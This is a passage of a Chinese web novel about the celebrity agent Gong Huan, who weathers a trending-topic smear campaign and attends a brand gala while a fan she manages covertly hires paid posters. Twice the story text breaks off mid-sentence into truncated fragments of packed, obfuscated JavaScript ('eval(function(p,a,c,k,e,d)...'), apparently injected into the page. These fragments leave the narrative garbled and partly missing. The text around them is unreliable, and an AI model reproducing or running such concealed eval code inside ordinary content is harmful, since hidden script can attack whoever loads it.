奚亭云没理会,继续说:“与宫欢无关的热搜不用理会,只负责她的部分。我猜测明天会有很多博主出视频,拆解分析宫欢的节目内容——” 水军头子预感不妙,忙打断他:“那些大博主我们可不好弄。” “加钱。”奚亭云只说了两个字,对面立即噤声,“视频不一定要让他们下架,留着更好。” 他想到晚上那会,宫欢面色淡定,完全不受影响的态度,大概猜到她有公关手段。 之前鬼畜视频的事件也是,很多时候,奚亭云和其他粉丝们并不清楚宫欢的态度,于是只能一味的去控评。 但现在,奚亭云对宫欢了解了一些,她是一位专业经纪人,做事有自己的一套准则——放大舆论爆点,引发讨论度,或许都是宫欢的一步棋。 “只要把一些恶劣辱骂的言论举报掉就可以了。”奚亭云交代完挂断电话。 莫名地,他想起高姐的话:“她很在意这次的成果,你别拖后腿。” 他才不会拖后腿。 非但如此,他还要努力成为她的最大助力,在她前进的路上做最旺盛的一棵树。 - 一夜的时间,各大媒体社交平台的众多话题里,强势地挤入了关于宫欢的热搜词条。 一如她本人般,一出现就吸引无数目光,圈内各家粉丝都来凑热闹。 在宫欢前上热搜的是一个二线小花,因为热播剧中的台词含糊不清,正在被公开处刑。 #xx实在不行就去回学校重修 #求xx找配音 #小学生朗读课文都比她强 二线小花的粉丝们极力救场,从现场收音有问题,说到小花拍摄期间嗓子不好。 你哪儿的:【xx拍戏这么多年了台词还是那么烂,怪不得一直升不了咖位】 卡皮卡扒拉:【总拿我们家姐姐当枪使,整部剧主演台词也好不到哪儿去啊】 滴滴滴滴打:【非粉,我感觉这热搜是为了掩饰另一件大事】 微博热搜正厮杀得你死我活,片甲不留。 而忽然的,关于宫欢的两三条热搜一下窜了上去。 昨天节目播出后对韩雨寒的深扒持续了一夜,大部分火力都在韩雨寒身上。 各家营销号、吃瓜博主将韩雨寒以往的歌词和所有照片,用放大镜详细扒了一遍,还有韩雨寒前女友的朋友站出来,深夜发了一万字小作文—— 说明前女友深受感情的伤害,从重度抑郁症转双相障碍,一直都在吃药诸如此类的内容。 一时间,韩雨寒站在风口浪尖,大批粉丝集体脱粉,留下的粉丝仍在认真对抗,说网上爆料全部都是假的,是对家的营销手段。 混战之中,宫欢的热搜像是一杆旗帜缓缓升到了最顶端。 ——吸引了全部火力。 #宫欢茶夹混茶汤给谁喝 #宫欢爆料能不能信 #宫欢也是受害者 一时间,茶汤受害者夏信粉丝,韩雨寒粉丝都在极力冲宫欢的负面热搜。 而二线小花的台词热搜被暗中悄悄撤下,小花粉丝们决定曲线救人,让宫欢继续吸引火力——于是小花粉丝们纷纷伪装成宫欢粉丝去和另外两家对抗。 前几条热搜之外,有一条宫欢也是受害者的热搜词条,里面写明了韩雨寒在生日宴上大闹,宫欢也是受害者。 这条热搜则是奚亭云买的,联合不多的几百个粉丝将词条推到前几排。 微博一度成了厮杀战场,各家粉丝齐下场,属性不明。 然而,不止如此。 天亮,声称【围炉夜话】的工作人员爆料幕后:【在播出的那期节目录制期间,有位嘉宾耍大牌,一直待在休息室不配合录制,害得其他嘉宾足足等了半个多小时,全剧组上百号人都在等ta一个人!】 工作人员非常谨慎,连代词都不敢有指向明显的字,而是用了拼音代替。 这条消息出来后,更是将大战中的战场热度推到最高。 粉丝们最先想到的耍大牌人选,当属那位最嚣张的经纪人——宫欢。 毕竟这位有前科,耍大牌爆料不知道有多少回了,这一次安在她头上也非常合理。 而且工作人员还是在宫欢热搜登顶的情况下爆料,那肯定是看不惯她,于是一起下场。 紧接着,茶汤受害者夏信的粉丝,韩雨寒粉丝,以及节目录制当天,所在的所有嘉宾们的粉丝,都多多少少的参与到了这场厮杀之战中。 网友言论如下: 吃葡萄不吐西瓜皮:【耍大牌还能有谁,节目嘉宾里面可是有电影学院的老师和学术界大佬,在场的那些明星谁犯傻会去惹他们,除了宫欢我想不出还能有谁了。】 退退退:【她黑料那么多,都是惯犯了,我是真没想到这么多人的情况下她还敢耍大牌,真牛,娱圈宫主?】 月球可热:【她爆hyh的料就是想同归于尽啊——】 你赶快上桌:【不会还有人粉她吧,她怎么是受害者了,她妥妥加害者好不好!!】 战况惨烈。 见势头不对,台词小花的粉丝们忙脱掉伪装,也混入其他家粉丝大军中,一起主攻宫欢家。 晚上的时候多是热搜词条,天亮后,视频媒体的营销号博主们,连夜加班剪辑的视频总算发布了出来。 标题一个比一个亮眼吸睛,视频封面图多是抠图宫欢的写真照: 【深度解析娱圈宫主——宫欢的事业版图!】 【屡作屡活,常驻热搜的宫欢到底是怎么火的!?】 【逐帧解析最新一期围炉夜话,宫欢的肢体表情包含的内容!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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欢欢打爆全场:【我们相信你不会无缘无故耍大牌的,肯定是有谁惹你生气了/乖萌】 欢欢打爆全场:【还有上次你说的测试......测试我是不是真粉丝嘛,要怎么测试?/可怜】 消息发了一连串,将手机锁屏。 奚亭云闭上眼,想小憩一会儿。 但特殊的消息提示声响起,他愣了愣,随后手忙脚乱地拿起充电的手机,解锁屏幕。 映入眼帘是宫欢的回复消息。 宫欢:【耍大牌的是夏信,其他的不便多说,热搜不用管,我会出澄清。】 奚亭云原本困倦的眼睛瞬间亮起光,像身体忽然被扎了一针,注入了兴奋剂。 他逐字逐句地回复,想着怎么能勾起人回复的心思。 欢欢打爆全场:【啊啊啊欢欢你回我了!!我就知道不是你,我一夜都没睡,在跟其他家粉丝打架/鼻青脸肿,你不要被那些热搜和视频影响哦。】 这一段应该可以,他说自己一夜没睡都在努力控评。 奚亭云手指捏紧手机的边缘,这段时间和宫欢的相处下来,他了解她,她会回复的。 毕竟,她那么心软,温柔,善良。 没多久,宫欢果然回了:【那先去睡吧,别操心那么多,我自己会公关。】 如果一开始奚亭云得到的就是这种回复,他是不会有落差的。 可之前他评论宫欢微博时,宫欢不但回复他,还会语气很可爱的叫宝宝。 奚亭云默默抿了抿唇,内心想法百转千回,表面却有些阴郁沉闷。 是上次吓到她的事,宫欢还没原谅他吗? 奚亭云心里像被什么挠的发痒,想问她为什么冷落了他。 可又怕问了宫欢会嫌烦,直接不理人。 他纠结了会儿,还是用微微颤抖的手指敲字—— 欢欢打爆全场:【之前评论微博,欢欢很热情,为什么上次之后......你就不太理我了?我真的不是坏人......】 消息刚发出去,奚亭云就觉得很羞耻,熬夜后有些暗沉,微微发黑的脸添了些红,他趴在书桌上把脸埋了进去。 - 这栋别墅的另一间房间里。 宫欢看见发来的消息内容,当即瞪大眼睛,吓得一甩手—— 手机直接从床上扔到了小客厅里,扑通扑通两声响,手机才被摔在地上。 “啊啊啊啊,什么东西啊!!!” 宫欢简直肉麻地鸡皮疙瘩都要起来了,她自言自语似的骂骂咧咧: “还能为什么,我要早知道你是男的我压根不会回你!亏我还以为你是女孩子给你发红包买衣服,结果是个男的!啊啊啊为什么男的语气那么——那么像女孩子啊!???” “跟谁学的啊!表情包,回复的语气根本分辨不了好不好!” 发泄了一通,末了,宫欢还是爬起来去捡回手机,她面色复杂地看着那一条消息,努力让自己忽略掉他的性别,把他当成没有性别的粉丝就好。 头一回,宫欢希望自己没有粉丝。 要不是看在他熬夜给她打数据,宫欢才不会回消息。 宫欢:【......别问那么多,辛苦你了,早点休息。】 欢欢打爆全场:【欢欢相信我了吗?】 宫欢默了默:【信。】 以为话题到这就可以结束了,没想到对面还在追问。 欢欢打爆全场:【下次应援的时候我还可以去吗?】 宫欢咬了咬牙:【可以。】 发完消息,她如释重负地立马退出了微博,额头不知何时渗出了汗,她抬手擦擦,深刻认识到粉丝的可怕。 以前熟练引导艺人的粉丝群体都不在话下,可轮到自己身上,事情似乎就变得棘手起来。 没人告诉宫欢,粉丝是这种可怕的,却又让人不好拒绝的生物啊啊啊啊啊!! 35. 话题女王 早餐时间,众人都来到了餐桌旁。 奚亭云难得的缺席了晨跑,萧子重回来时看见他发黑的眼圈,惊讶地调侃道: “平时就你早睡早起,把作息表全做一遍,难得耍懒啊,看看这黑眼圈,忙什么呢,一夜都没睡?” 奚亭云原本试图用宫欢买回来的那些护肤品,遮挡一下暗沉的脸色,但多少还是掩饰不住面部细微的疲态。 “没睡好。”奚亭云简单糊弄过去。 三人的饭菜端上了桌,目前宫欢只对他们进行了饮食控制,其他人要求不严。 所以关清英能吃到麻辣烫,高姐更是不用忌口,想吃什么直接报菜名。 不过早餐基本都很清淡,甘惊鸿一落座阿姨就端来了一份和三人差不多的减脂餐,配上一瓶——香菜羽衣甘蓝牛奶。 甘惊鸿带着困意,食欲不大,于是拿起牛奶拆封,插入吸管。 “你们看微博了吗?”安声咬着嘎嘣脆的新鲜芹菜,八卦起来,“昨天粉丝给我发消息,说这两天网上的风波会很大,应该是欢姐的事情。” 萧子重注意到盲点:“你有粉丝!!?” 安声理所当然地说:“有啊,你们没有吗?” “这个,”萧子重默默埋头吃了两口饭,“当然有了,不过我跟粉丝都会保持距离的......” 说话间,甘惊鸿忽然突兀地发出一声感叹:“啊——” 几人注意力转移过去,只见这位新同事一只手拿着那让人闻风丧胆,闻味丢胃的香菜牛奶,整个人仿佛被祸害的不清,张着嘴双眼呆滞。 “完了!她中毒了!” 萧子重丢下碗筷,一个健步绕到餐桌另一边,将手撑在餐桌上,俯身准备靠近。 甘惊鸿似乎回过神,晃了晃头清醒过来,两只眼睛瞪大,神戳戳地看着手里的香菜牛奶赞叹道:“好神奇,喝一口感觉马上就活过来了...诶,前辈你怎么瞬移过来了?” 甘惊鸿困惑地看着刚才还在餐桌另一边,不知道什么时候跑到自己旁边的萧子重。 “额,额...我拿个牙签。” 萧子重的应变能力派上用场,他拿起放在餐桌中间的牙签,默默回到原位。 甘惊鸿不疑有他,拿着牛奶吨吨吨的没两口喝完了一瓶,觉得不够,转头又跟阿姨要了一瓶。 三人都看愣了,安声简直是佩服,敬佩地看着甘惊鸿:“你是在试毒吗?” “啊?” 萧子重接话:“你不觉得难喝?” 甘惊鸿摇头:“不啊,很清新的口味,有一种在草原上啃草的感觉。” “太强了!”萧子重说。 “太好了!”安声说。 那六百箱牛奶有人解决了。 几人用餐时,奚亭云一直吃得很慢,人一多,吃饭时间就不免拉长许多。 萧子重、安声和甘惊鸿你一句我一句的来回聊着,半个小时不知不觉就过去了,这饭吃得再慢也要结束。 奚亭云不知道宫欢现在是什么状态,虽然借着微博聊了几句,但始终有隔阂。 她的私人事情不会告诉粉丝,而身为她的艺人稍微关心一下是情理之中。 他时不时看表,最后一粒饭都吃干净了,还没等到宫欢下来吃早饭。 正当奚亭云想着,要不要找借口送饭上去给她,大厅外传来交谈声。 大厅门口,高姐一身清爽的西服套装,鞋跟略粗的高跟鞋踩着地面嗒嗒嗒地走了进来,笑着和旁边的一个女人说话,那人拎着一个银色箱子,看着像是装钱的那种。 餐桌上众人不自禁止住话头,眼睛往高姐那边看。 两人进了大厅后,直接往楼梯上走,高姐注意到餐桌那边的视线,说了两句:“这是化妆师,宫欢晚上有晚宴邀约,你们照常训练。” 说着,就领着化妆师走上三楼。 这番话,还是很惊人。 安声:“网上骂得好凶,欢姐还要去参加晚宴吗?好危险啊。” “不愧是她,”甘惊鸿看着三楼楼梯口,一只手托着下巴,目露仰慕的眼神,“不管多少人骂她,在流言蜚语中杀出一条血路,唰唰唰!”她一只手成刀状挥了两下,“来一个揍一个!” 萧子重:“你很崇拜她吗,你们签约不是她忽悠的?” “忽悠?怎么会呢,欢姐超有眼界,”甘惊鸿说,“我是主动展现出了十几种角色演技变化,极力向她推荐自己,她才愿意给我一次机会!” 萧子重瞳孔地震,他又仔细看了看甘惊鸿,一眼看上去是个漂亮清雅的大气女孩,但一张嘴,就好像有种跳脱的暴露智商的感觉。 奚亭云一直沉默着,脑中回想高姐说的晚宴。 宫欢说的澄清,是不是就和晚宴有关? 晚宴,可以去应援。 他拿出手机打开微博,在宫欢微博主页刷了好多下,还是刷不出晚宴相关的预告微博,难道是私人晚宴? - 别墅三楼。 宫欢坐在梳妆台前,任由造型师鼓捣折腾自己的头,手上不停地刷着手机。 视频软件上,一个标题显眼的视频引起了她的注意—— “宫欢为什么一直可以在娱乐圈兴风作浪?” 宫欢饶有兴趣地点开视频,抓了把桌上的瓜子边嗑边看。 造型师在饰品柜里挑选合适的配饰,高姐和她沟通今晚想要的效果,两人专注地忙着。 视频里,一个博主带着黑框眼镜,貌似是个很专业的业内人士,他侃侃而谈,时不时配上手势动作,加深人的印象: “......归根结底就是因为她的话题度特别高,总是随便做点糗事之类的引起大众注意,然后讨论度就高了。” “大家有没有发现她的黑粉是最多的,多到超乎你想象,甚至随便一个路人都是自带黑的属性,但为什么她就是能稳坐话题女王的宝座呢!?” 宫欢吐掉瓜子皮,紧跟着说:“对啊为什么?” 视频博主:“这期节目就到这里,下期我们再从各方面去分析宫欢的商业价值。” 宫欢:“???真吊胃口。” 她只好又换了个视频继续看,这视频标题封面更劲爆。 封面是宫欢很早之前的红毯照抠图下来,配上纯色的背景,彩色描边超大号字体写着: 【娱圈宫主——宫欢的行为模式。】 宫欢觉得这个有点新意,还给她起了昵称——“娱圈宫主”,听着挺霸气。 这视频点进去是不露脸的博主开了变声器解说,听起来口水话挺多,不像是有稿子,可解说的观点能看出来有内容: “哈喽大家,昨天的【围炉夜话】我看了足足两遍......” “宫欢泡茶的时候手忙脚乱,她是有在认真泡的,毕竟这么多人呢吗,但是问题就出现在——她为什么要去用茶夹去搅混夏信茶壶的茶水呢?” 昨天节目播出后,宫欢没看太多,只看了自己的那部分,后期剪辑的时候剪掉了夏信说茶太烫的片段,以至于在观众视角来看,她的操作非常奇怪。 视频中,宫欢蹲在茶桌旁边,朝里面吹气的动作非常嚣张气人。 夏信脸黑的厉害,很多对话也剪掉了,只剩宫欢说“放心喝吧”的话。 视频定格在宫欢吹气那一幕,画面飘过不少难听的弹幕。 【咦恶.....太恶心了吧,她这样茶还怎么喝啊。】 【这一幕之后其他嘉宾们都在夸茶好喝,‘娱圈宫主’实至名归,谁都不敢惹!】 【她什么背景,之前看有博主说xx是她干爹】 博主的声音继续:“可以看见夏信是非常不高兴的,宫欢就是在给他找不痛快。夏信最近热度很高,私下的一些场合都可以看出人很有礼貌,对粉丝有求必应,对前辈也都非常谦虚礼貌。” “茶水喝完了肯定是需要替换的,但是我把你茶汤搅浑了,脏了,你还怎么喝呢?” “宫欢就是不想再给夏信的茶水进行二次三次的更换,她觉得一个后辈艺人,凭什么要我这个经纪人给你泡茶跑腿,连装都不想装了!!” 宫欢听得啧啧称奇:“这都能给我圆回来,扯那么多不就是想说我霸凌艺人嘛。” 高姐正在熨烫今晚要穿的晚礼服,听见宫欢嗑着瓜子嘀嘀咕咕,抬头看了眼: “还在看那些视频?要不要出澄清声明,要是闹大了,以后有人挖出来你是男团的经纪人,恐怕影响不好。” 宫欢仰起头,配合造型师做发型,她放下手里的瓜子皮,举起手机继续看: “没事儿,声明不用出,我等下给你一段花絮视频,等晚宴之后再发,晚宴肯定很多记者,真好奇他们会不会问出点花样的问题,给我个惊喜。” “别是惊吓。”高姐摇摇头,“你说的是什么花絮视频?” 宫欢哼哼一笑。 视频正放到博主分析她的性格成因,她语调上扬,像是发现了好玩的事情:“节目录制当天不是有个从休息室出去的花絮视频吗?” “我没走几步就和李云晴碰见,之后就一起走了,耍大牌事件不是都在怀疑我吗?” 高姐想起来:“对啊,你和李云晴一起出去,这能证明拖延时间的肯定不是你。” 宫欢盘腿坐在化妆椅上,挑起眉头看着镜中明媚的脸,丝毫不受影响地扬起笑: “还有个重点,夏信的休息室在我前面,我出门的时候可是有路过他门前的,诶,就那么刚刚好,他——没、有、关、门~” 高姐当时在休息室忙别的,没注意到这些细节。 她熨烫礼服的动作顿了顿,转头意外道:“真的?这段花絮要是放出来,影响可是不小。” 宫欢的头发做完造型,她头低下来,捏起颗瓜子丢进嘴里,想要嚣张地放话,却含糊不清: “我就是要把热度炒到最高,最好我是天大的恶人,最好马上我就要被封杀——然后,我丢出个事实证据出去,教训教训他们那些不懂事的,别一天天没事就跟着乱唱腔,被谁耍了都不知道。” 高姐:“你这样会得罪不少人,到时候不一定会有多少人听得进去解释。” 宫欢:“我管他呢,反正不是我的问题,而且,谁说我没在这场舆论里,得到自己想要的东西呢?” 宫欢拿起一支化妆刷在脸上扫了扫,侧着脸照镜子:“骂声和名声往往如影随形,想要什么,就要抗住相对的压力。” 高姐沉默片刻:“你可以不用这样的,如果你没进娱乐圈蹚浑水,依靠家里做个事业......” “啊啊啊啊不听不听!!!” 宫欢捂住耳朵,瞪了眼镜子里的高姐,“好端端的,你提那些晦气东西干嘛,我觉得现在就挺好。” 高姐默默叹了口气,继续整理礼服。 - 妆造全部做好时,已经过去了6小时。 这套礼服之前在春初时装秀上出现过,这次新星宴会她风头不宜太盛,主要是刷个脸熟。 于是就选了一款简约的垂坠感很强的青绿色真丝衬衫,领口做了细小的绿色宝石点缀,纽扣则采用了祖母绿的设计,下裤就简单的多,白色西裤,腰间搭配了一条细长、不抢眼的腰带。 上衣给人绿茵初夏感的同时,腰带用来分割她的比例,她身高169,不算太高也不算太低。 搭配得当,就能将比例拉出一米八的视觉效果。 发型还是一贯的大波浪卷,额头两边的碎绒发被用小夹子夹起,藏在发间,露出额头显出留白,让人一眼看见这张脸注意力就会往面中聚集。 宫欢的妆容也花了不少心思,为了搭配整体,尽可能的在面中做减法。 不过造型师庆幸的是,宫欢五官很集中,而且都没硬伤,稍微画个淡妆焊死在她脸上就行。 新星晚宴的时间选在晚上八点。 宫欢打开微博,新星群集的官博早早发出了预告视频和封面照等等,多数是在宣传一些新晋小花小草,还有几位之前火了凉了然后又火了的明星。 宫欢不免琢磨起来,她算哪类啊? 常驻嘉宾? 新星官博下面有些明星艺人非常懂事的评论“晚点见”、“不见不散”等,并配合转发,让粉丝们评论增加热度。 宫欢本来该照常转发,公式化的说几个字,但是上午她才和大粉说过,可以正常应援。 说是那么说,她心里还是不太想的。 当然不是因为他是男的,而是她不希望任何粉丝去现场应援。 她最近惹了不少人,万一有人记仇整不到宫欢,转而为了发泄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“偶尔还会有点疼,”奚亭云手指无意识的摩挲手臂,略显拘谨地说,“忍一忍就好了。” 本意是随口问问,没想到奚亭云这么说。 宫欢一下瞪大眼睛,上前一步拉住他手臂,像检查物品似的捏捏戳戳,甚至手攥拳锤了两下:“这疼?这里?还是这儿?” 奚亭云含糊不清地回答,只能看见头越来越低,声音越来越小:“…都,都有点。” 楼上,高姐拿着晚宴需要用的东西下来,没走几步就看见宫欢离某个人很近,手也不知道在干嘛,当时就出声呵斥:“你们干嘛呢!!宫欢!” 没想到宫欢转头就朝上嚎:“高啊,我觉得我们非常需要找个常驻的家庭医生,你看看他们一个个的太容易负伤了,万一留下什么病以后治不好怎么办?” 奚亭云试图挽回一下:“其实也没那么严重......” “怎么不严重了,”宫欢就差找人给他抬担架,“我碰一下你都疼,你看看你看看,血液都倒流了,你的脸怎么这么红。” 奚亭云顶着红透的脸和脖颈,一本正经地说:“刚运动完都会这样,很正常。” 高姐走近瞥了眼奚亭云,“我看死不了,不用找医生。好了,赶紧走,等下路上堵车你又要迟到。” 宫欢被高姐拉着往外走,临走时还嘀咕着说:“真不用找医生吗?万一以后落病了赖上我......” “走你的吧。” 奚亭云目送两人的背影消失在别墅大门外后——以最快的速度转身,抬腿,一步三个台阶冲上二楼,回到房间,拿出手机给水军头子打电话。 同时抓住背心的下摆脱掉衣服和裤子,冲进淋浴间,打开花洒冲洗身体。 嘟嘟嘟—— 哗啦啦—— 持续十几秒的铃声接通,手机开了免提。 水军头子睡意浓重时被人叫醒,带着哭腔控诉: “哥啊,你是不用睡觉吗!!?我手底下人在刷了,别催了,让我补个觉吧——这都一天一夜了,再不睡我真要猝死了!” 水流从奚亭云头顶不断流下,脖颈到脸上的红在渐渐消退,水流交错着在脸上蜿蜒,沾满水珠的眼睫浓黑,他眨了眨眼,水珠便连串的滴落至身下。 “你上午说查新星晚宴的邀约嘉宾,还没给我确定的信息,”奚亭云说,“不过不用查了,我可以确定她去的就是这个晚宴。有办法弄到入场证吗?” 水军头子困得说不清话:“新星晚宴的入场名额有限的,早就被有钱的粉头抢完了!” “加钱。” 奚亭云关掉花洒,擦干净身体,拿着手机走出浴室,拉开衣柜,手指划过一件件衣服,抽出那套熟悉的衣物。 “只要能进去,什么名额都可以。” 水军头子打着瞌睡,听见加钱二字,垂死病中惊坐起,强撑着精神: “好嘞哥,你别挂电话,我马上找人!不就是个新星晚宴嘛,咱消息灵通得很——今晚到场记者都是哪家的,咱都门清!” 说话间,奚亭云穿上了那身黑色冲锋衣套装,为了不暴露身份,帽子口罩都是必需品,不能大意。 上次录制节目的入场处灯光一般,再加上五颜六色的霓虹灯牌晃眼,不容易认出他。 但这次是在宴会场地,大灯灯光很多,奚亭云要伪装得再彻底一点。 声音伪装对他来说轻而易举,最大的问题就是身型,他尽量让自己有些微驼背,不影响体态的情况下降低身高。 接下来就是最重要的地方——眼睛。 他站在镜子前,凑近去看了会儿自己的眼睛。 不行,太容易认出来。 宫欢眼睛很尖,人也敏锐,一旦发现问题,很可能就会怀疑他。 以防万一,奚亭云拿出了她买回来的深绿色美瞳戴上,瞳孔颜色变了,眼型问题应该可以蒙混过去。 做完一切,水军头子发来了一张入场证明的照片。 奚亭云拿起手机时,已经穿戴好了衣服,离开卧室路过全身镜,他站在镜面前,已然换了一个人。 衣服穿戴得神秘,口罩与帽子遮挡了大部分面容,只剩眉眼间的皮肤,在黑色衣物的衬托下格外显白,而深绿的眼瞳一戴上,莫名地使他周身气质转变,像是森林深处伺机而动的野兽。 差不多了。 确认没有任何问题,奚亭云离开了卧室,前往——新星晚宴。 36. 话题女王 “等会儿要问的问题你们都准备好了没啊?” “那肯定的,我每个问题都特别有深意,直击痛点!就算她想绕都绕不开。” 几位娱记穿着便服,手里拿着带有自家LOGO牌的话筒,互相交头接耳。 一位娱记是圈内知名杂志【娱报】的记者,有明星进场时,他都会简单看两眼,又继续跟其他人聊天: “你说今天网上沸沸扬扬,一般人早就做危机公关了,也就这位沉得住气,还有心思来参加晚宴。” 另一位【娱乐快刊】的娱记笑道:“你也不看看人家是谁,她那些黑料都多少了,估计这一个也不嫌多。” “谁说不是呢,不过这月业绩又达标了,真好啊。” “+1。” “+1。” 新星晚宴在市中心的一处庄园举办,有十几家品牌方参与其中,入口处几十位保镖维持秩序,娱记记者和狗仔们人数众多,除此之外还有些粉丝应邀而来。 明星们的入场次序有个大概的说明,并没有强制性要求,门口有几位最近小火的艺人相互碰见,在接连不断的闪光灯下互相打招呼,携手进入。 娱记们在后面蛐蛐:“嘿嘿,快看,那俩装的也太好了,谁知道私底下互相使绊子抢角色。” “哈哈哈哈他们还有cp超话呢!网上老多cp剪辑了。” “这都嗑的起来!??” “圈外人谁知道他们不合啊,每次骂的厉害,一到要捞钱的时候就开始演了。” 娱记们八卦归八卦,脸上笑容不减,每次有明星进场时都会让摄影师快拍,自己跟着吆喝叫场。 时间临近八点,娱记们心心念念的业绩指标终于来了。 低调的私家车慢慢开进庄园,两边满是焦急等待的娱记、摄影师和一些有钱的粉丝。 每次有车停在红毯尽头时,在车门开启前,都会吸引来一波期待的关注视线,毕竟谁也不知道里面坐的是谁。 而宫欢就跟回了自己家似的,还没到地方,她就降下了车窗开始打招呼。 “哟,陈记,”宫欢一只手臂搭在车窗边沿,朝人招手,“胖了不少啊,最近压力大了吧,少熬夜,多睡觉,多吃蔬菜少应酬,头发都能‘屈指可数’了。” “诶杨记者,好久不见啊,别把头转过去啊。哈哈哈哈你上次骂我的那篇报道我可一字不差的记着呢,写的真好。” 被打招呼的杨记者抬手擦汗。 “这不是李记者吗,带徒弟了呀,是要退休了吗,啊?才40?不好意思,我以为你60多了呢。” 宫欢一路嘴就没停过,有些记者怕她点到自己,甚至背过身装作没看见她,但宫欢不会放过他们,看见谁就打声招呼。 ——跟回家似的。 车停在庄园入口外的红毯尽头,没等高姐下来,宫欢便自己踢开了车门,踩着红毯下了车。 “......我去后台等你,”高姐说,“先别回答他们的问题,吊着胃口,等下配合主办方完成晚宴之后再回答。” 宫欢头也不回地挥挥手:“知道了知道了。” 车在身后驶离,宫欢整了整衣服。 庄园入口处的红毯是个小过场,进去之后明星们还要在品牌方的场地上进行走场,签字,配合拍形象照。 宫欢迎着此起彼伏,闪瞎眼的闪光灯往里走,红毯两边的记者和摄影师时不时叫着她的名字。 “宫欢!宫欢!!”噼里啪啦的闪光灯和快门声响起。 “请问你对今天的热搜有什么看法!”一名年轻的娱记挤在其他记者里面,身体瘦小,举着话筒问宫欢,“围炉夜话里面你真的耍大牌了吗?” 宫欢看他一眼,没搭腔,步伐稳而快的往里走。 谁知道那记者一直追,在一堆人和摄影机里面拥挤着往前跑。 忽然间,不知脚下踩到了什么,他一个踉跄往前摔去,“啊”得一声扑到了警戒线内的红毯上。 也扑到了宫欢的前面。 这位记者揉着被摔痛的身体,转脸就看见站在面前,高高在上的宫欢。 她停下了脚步,盯着记者神色不明。 记者咽了咽口水,紧张地想爬起来道歉—— 下一秒,宫欢忽然蹲了下来,面色和善地扶起记者,甚至体贴地问:“有摔倒哪里吗?下次注意安全哦。” 旁边熟知宫欢套路的记者:......她又开始了。 但这位小记者刚实习没多久,哪里见过这场面,紧张地揪着衣服下摆,磕磕绊绊:“没没事,谢谢您。” 宫欢点点头,扶着他手肘,把人送到警戒线外,朝跟他一起的摄影师问了句:“拍了吗?” 那摄影师显然是个老手,朝宫欢比了个OK:“拍了,谢了。” 小记者一脸懵逼地看向摄影老师:“什么,什么意思啊?” 摄影师同情地看他一眼:“你啊,还有的学呢,咱家明日头条有了。” 啊?头条? 小记者回头想看宫欢,结果这么两句话的功夫,人已经走远了。 走进庄园后,入眼的便是席位众多的露天晚宴会场,受邀而来的明星们举杯笑谈着,三三两两的凑在一起聊天。 宫欢微不可察地叹了口气,颇为厌烦这些场合。 最近她手底下又多了个艺人甘惊鸿,虽然演技不咋样,但好在形象还不错,人也年轻好哄,耐心培养应该能成个二线。 培养就要用资源来堆,资源就得应酬。 应酬就能赚到20亿。 宫欢忽然又觉得活力满满,端起路过侍者托盘上的香槟,两步迈进了名利场。 新星晚宴多是一些年轻的小花,十几岁到二十多岁的居多,也有一些复火的明星,除此外就是制片人、投资人等金主们。 宫欢不动声色地在一边观察,准备先听听八卦,看看哪儿有缝可以插针。 这次邀请她来的是飞飞牛奶品牌方,应该先跟品牌方大佬去打个招呼的,就是不知道来的是什么职位的人。 飞飞牛奶品牌方是国货老牌子,常出现在公众视野的多是总负责人,而举办活动的又是其他执行总裁,宫欢认得不全。 她正想着,目光看见一个眼熟的人——夏信。 一身亮橙色的服饰,非常张扬的造型。宫欢刚想装作没看见他,结果夏信一眼瞄见宫欢,就不知死活地晃了过来。 “这是谁啊,我说这么眼熟呢,”夏信走近,阴阳怪气地说,“新星晚宴,你来干嘛?” 宫欢抿了口手中香槟:“来给你上眼药。” “你!” 夏信攥紧了手中的高脚杯,还没两句话就被宫欢气到。 他气呼呼地扭头往另一边看去,那儿是几位品牌方的人在交谈,夏信故意挨着宫欢挑衅:“宫欢,我干爹来了,你最好别惹我,不然那些热搜你永远都别想撤下去!” 说着,夏信朝那一堆品牌方的金主大佬们笑得乖巧。 宫欢也朝那边举杯示意,露出个礼貌客套的笑容。 她对付夏信实在是大材小用,懒洋洋的声音只有两人能听见:“知道吗,网上传言,我跟你干爹有关系,说他是我的靠山。你说,我要不要坐实那些说法?” 夏信怒而瞪她,宫欢只像是恶作剧成功似的,笑着朝他举杯,嘴里嫌弃道:“逗你的,我还嫌恶心呢。” 说着转身走到其他地方去了。 天色渐晚,晚宴开场。 负责主持晚宴的主持人在台上说着各大赞助商的广告词,末尾提了句:“本次新星晚宴全程直播,感谢各位的支持。” 宫欢:“......”总觉得有些别扭呢。 但她不得不说,主办方很会玩,这场宴会她和夏信都来了,现在他俩还挂在热搜上呢。 直播的机器被工作人员架高,直播间的实时画面被投影在场地里的大屏上播放,不过只播放了画面,并没有收录现场声音。 直播间人数直线上升,直播间设置了不能赠送礼物,禁止有人抢晚宴噱头。 尽管如此,还是被众多粉丝的涌入挤得画面时常卡顿。 宫欢四处看了看,在一堆品牌方金主里面穿行,想找找牛奶品牌方,没走几步就被人拍了拍肩膀。 一回身,便见一位穿着简约黑色长礼裙的女人笑着说:“宫欢。” 宫欢脸上顿时挂上笑意,点点头:“是我,您是?” 女人自我介绍:“我是飞飞牛奶品牌的执行负责人陈焰,请你来直播间捧场就是我的主意。” 宫欢热情地上前轻轻抱了抱陈焰:“我正找自家人呢,之前合作见的人有时候是项目负责人,有时候是其他的人,我认不完,还想说这次是谁来呢。” 陈焰被宫欢的自来熟逗得直乐:“上次是真没想到,你居然能想出那种办法带货,我们都没抱什么希望。” 宫欢愣了下:“啊?不抱希望?” 陈焰狡黠眨眼:“因为那个牛奶,真的很难喝啊。研发部推出时我们都不看好,但是没办法,谁让它健康呢,现在人都追求健康,干脆就试一试了。” 那你们还找我! 宫欢干笑:“哈哈,哈哈,其实,还可以。”个屁啊。 找到金主后,宫欢就不再满场溜达了,陪着闲聊说笑。陈焰倒是带着宫欢去和一些高奢品牌方的人牵线搭桥,有些奢侈品牌的人不太喜欢宫欢这种受尽舆论的高调作风,客套两句就去了其他地方。 陈焰:“这些品牌方都有点眼高于顶,用鼻孔看人。” 宫欢不太在乎这些,耸耸肩:“没事,没甩脸色给我,就算是很客气了。” 正聊着,两位制片人走来和陈焰敬酒,宫欢自觉退后半步。 